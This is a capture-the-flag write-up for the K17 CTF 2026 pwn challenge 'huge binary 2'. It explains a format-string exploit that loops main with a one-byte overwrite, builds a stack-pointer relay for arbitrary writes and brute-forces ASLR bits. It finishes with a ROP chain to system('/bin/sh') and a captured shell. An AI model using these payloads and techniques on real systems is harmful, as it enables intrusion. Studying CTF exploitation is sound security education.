home / ctf / k17

huge binary 2

One byte of leak per run, so the first job is a loop: a single %hhn on a page-aligned libc address makes main call itself forever.

2026.09.19 K17 CTF 2026 Pwn
FLAG K17{turn$_0ut_siz3_do3s_m@tter}
nc chal.secso.cc 4005 · handout: chal, libc.so.6, Dockerfile

This shares its bug classes with huge binary 1 — a stack-index leak and a double format-string primitive — but every parameter has been tightened to the point that the approach used there no longer applies directly. If you’ve solved huge binary 1 and are stuck applying the same idea here, the part to focus on is: both format strings are committed to before either one is printed, so “leak, then immediately use the leak” cannot happen within a single connection. The actual first problem to solve is not the exploit — it’s how to get more than one attempt without reconnecting.

1. The challenge

Same skeleton as huge binary 1, with every parameter tightened:

int i; char buf1[32] /*rbp-48*/, buf2[32] /*rbp-80*/;

scanf("%d", &i);
printf("Your lucky number is 0x%x\n", *(unsigned char *)(rbp + i - 1));   // (A)

scanf("%31s", buf1);
scanf("%31s", buf2);

puts("Echoed output: ");
printf(buf1);        // (B)
printf(buf2);        // (C)
huge binary 1huge binary 2
PIEoffon
leak (A)%llx — 8 bytes%x + movzx1 byte
buffers%127s%31s
overflownonenone

Each run now yields only 8 adaptive bits, and both format strings are fixed before either is printed — so the “leak the base, then use it in the same request” strategy from huge binary 1 does not apply. Stack ASLR alone carries more than 20 bits of entropy, so brute force across separate connections is not viable either.

The first requirement is therefore not the exploit itself — it’s a way to retry within a single process, since the challenge otherwise gives exactly one shot per connection by construction.

2. The infinite loop — one byte of the return address

main is called from __libc_start_call_main:

29c30 <__libc_start_call_main>:
   ...
   29ca1:  mov rax, [rsp+8]    ; == [rbp+24] == main
   29ca6:  call rax
   29ca8:  mov edi, eax        ; <- main's saved return address
   29caa:  call exit

Right after main returns, rsp == rbp+16. Redirecting the return address to 0x29ca1 makes mov rax,[rsp+8] re-read [rbp+24] (still main) and call rax — main runs again, using code that already exists in libc’s startup path.

libc is page-aligned, so the low 12 bits of any libc address are constant regardless of ASLR. 0x29ca8 and 0x29ca1 differ only in their lowest byte (0xa80xa1), so a single %hhn sets up the loop without knowing the libc base at all — the loop can be built before the leak that would normally be a prerequisite for touching libc addresses.

By the same reasoning, 0x29c20 (__libc_init_first, whose body is a bare ret) is also one byte away from a useful target. That becomes the trigger used to exit the loop and fire the ROP chain once everything else is in place.

3. The write primitive — a stack pointer relay

%n needs an address already present on the stack. Slot addresses follow addr(%N$) = rbp - 96 + 8*(N-6), and measurement turns up two useful pairs:

value of %20$ = rbp+0x100  ... and the slot AT rbp+0x100 is exactly %50$
value of %23$ = rbp+0x118  ... and the slot AT rbp+0x118 is exactly %53$  (argv[0] ptr)

Writing two bytes through %20$hn retargets whatever %50$ points at. %50$ originally holds rbp+0x108; replacing only its low 16 bits — and leaving the upper bytes alone — aims it anywhere inside a 64 KB window of the stack. That is an arbitrary two-byte stack write, built by pairing a slot’s value with the slot located at that value.

3.1 The 8 bits the bootstrap needs

To make %50$ := rbp+8, (rbp+8) & 0xffff is needed. Linux randomises the stack top per page, and arch_align_stack() adds a 16-byte-aligned sub-page offset on top — confirmed by measurement that A & 0xfff differs on every run. The low 4 bits of rbp are therefore always zero, and bits 4..15 are unknown going in.

The one-byte leak from (A) supplies part of what’s missing. The argv array address A lives at rbp-96, and A = rbp + 0x118, so:

index = -94  ->  address rbp-95  ->  byte 1 of A (bits 8..15)

The leak supplies bits 8..15, leaving only bits 4..7 — 16 possibilities:

a_low   = (leaked_byte << 8) | (guess << 4) | 8      # A == 8 (mod 16)
rbp_low = (a_low - 0x118) & 0xffff

buf1 = b'%%%dc%%20$hn' % ((rbp_low + 8) & 0xffff)    # %50$ := &(return address)
buf2 = b'%161c%50$hhn'                               # 0xa8 -> 0xa1 => loop!

A correct guess brings the Enter an index: prompt back; a wrong one exits, so reconnect and try the next of the 16 candidates.

4. A trap inside the loop

The loop re-enters at 0x29ca1, which skips the mov rsi,[rsp+24] / mov edi,[rsp+20] setup that sits just before it. The re-run main therefore inherits whatever rdi/rsi/rdx the previous printf call left behind, rather than its original arguments. Since main does mov [rbp-96], rsi on entry, %6$ stops being argv from the second iteration onward — a change that is easy to miss, since the resulting leaks still look plausible rather than obviously wrong.

The anchors have to shift accordingly:

  • rbp = %50$p - 8 (the bootstrap step made %50$ exactly rbp+8)
  • libc = %19$p - 0x29ca8 (%19$ = [rbp+8], which call rax resets to its original value every iteration)
  • for writes, use %23$ (= [rbp+40], the real argv as stored on the first entry) instead of %6$

5. Laying out the ROP chain

call rax resets [rbp+8] to 0x...ca8 on every iteration, so each turn re-stamps 0xa1 through %50$hhn to keep the loop alive, while the %23$ -> %53$ relay writes the actual chain. It fits within the 31-character limit:

buf1 = %<addr&0xffff>c%23$hn            # %53$ := address to write
buf2 = %<word>c%53$hn %161c%50$hhn      # store two bytes, then re-arm the loop

Two slots must not be touched by the chain: [rbp+24] is the main pointer the loop calls through, and [rbp+40] is A, the relay pointer the write primitive itself depends on.

[rbp+ 8] = libc+0x29c20   ret              <- final turn writes byte 0x20 here to fire
[rbp+16] = libc+0x2baa9   pop rsi ; ret    <- discards [rbp+24] (main)
[rbp+32] = libc+0x2baa9   pop rsi ; ret    <- discards [rbp+40] (A)
[rbp+48] = libc+0x2a145   pop rdi ; ret
[rbp+56] = libc+0x1a5ea4  "/bin/sh"
[rbp+64] = libc+0x53110   system

On entry to system, rsp == rbp+72, and rbp is 16-byte aligned, so rsp % 16 == 8 — as the ABI requires for movaps.

On the final turn, writing 0x20 instead of 0xa1 makes main’s ret land on libc’s bare ret gadget instead of looping again, and execution continues into the chain starting at rbp+16.

6. Result

[+] loop established (guess=8)
[+] rbp=0x7ffcb2119c70 libc=0x7f00de29f000
[*] 16 word writes
[*] chain verify: OK
$ id
uid=1000 gid=1000 groups=1000
$ cat /flag
K17{turn$_0ut_siz3_do3s_m@tter}

7. Takeaways

  • When adaptive information per attempt is extremely limited, build a loop before building the exploit. One successful re-entry gives unlimited leaks against a single, unchanged ASLR layout, turning a one-shot problem into a patient one.
  • libc is page-aligned, so the low 12 bits of any libc address are constant regardless of ASLR. A one-byte patch redirecting execution elsewhere within the same page requires no knowledge of the libc base at all. That 0x29ca1 (just before call rax) and 0x29c20 (a bare ret) both sit one byte from the return address follows directly from searching for exactly this property.
  • Pairing a slot whose value is X with the slot located at address X (here %20$ ↔ %50$, and %23$ ↔ %53$) promotes a two-byte write into an arbitrary one — worth searching for whenever a format-string primitive otherwise seems too narrow to use.
  • Re-entering a function at a bypass point skips whatever argument setup precedes that point. Not noticing that %6$ stopped being argv from the second iteration onward accounted for more debugging time here than any other part of the exploit.
  • Mitigation: no printf(user), and note that PIE combined with Full RELRO is not sufficient on its own — the format string itself has to be removed.
#format-string#aslr#rop#pie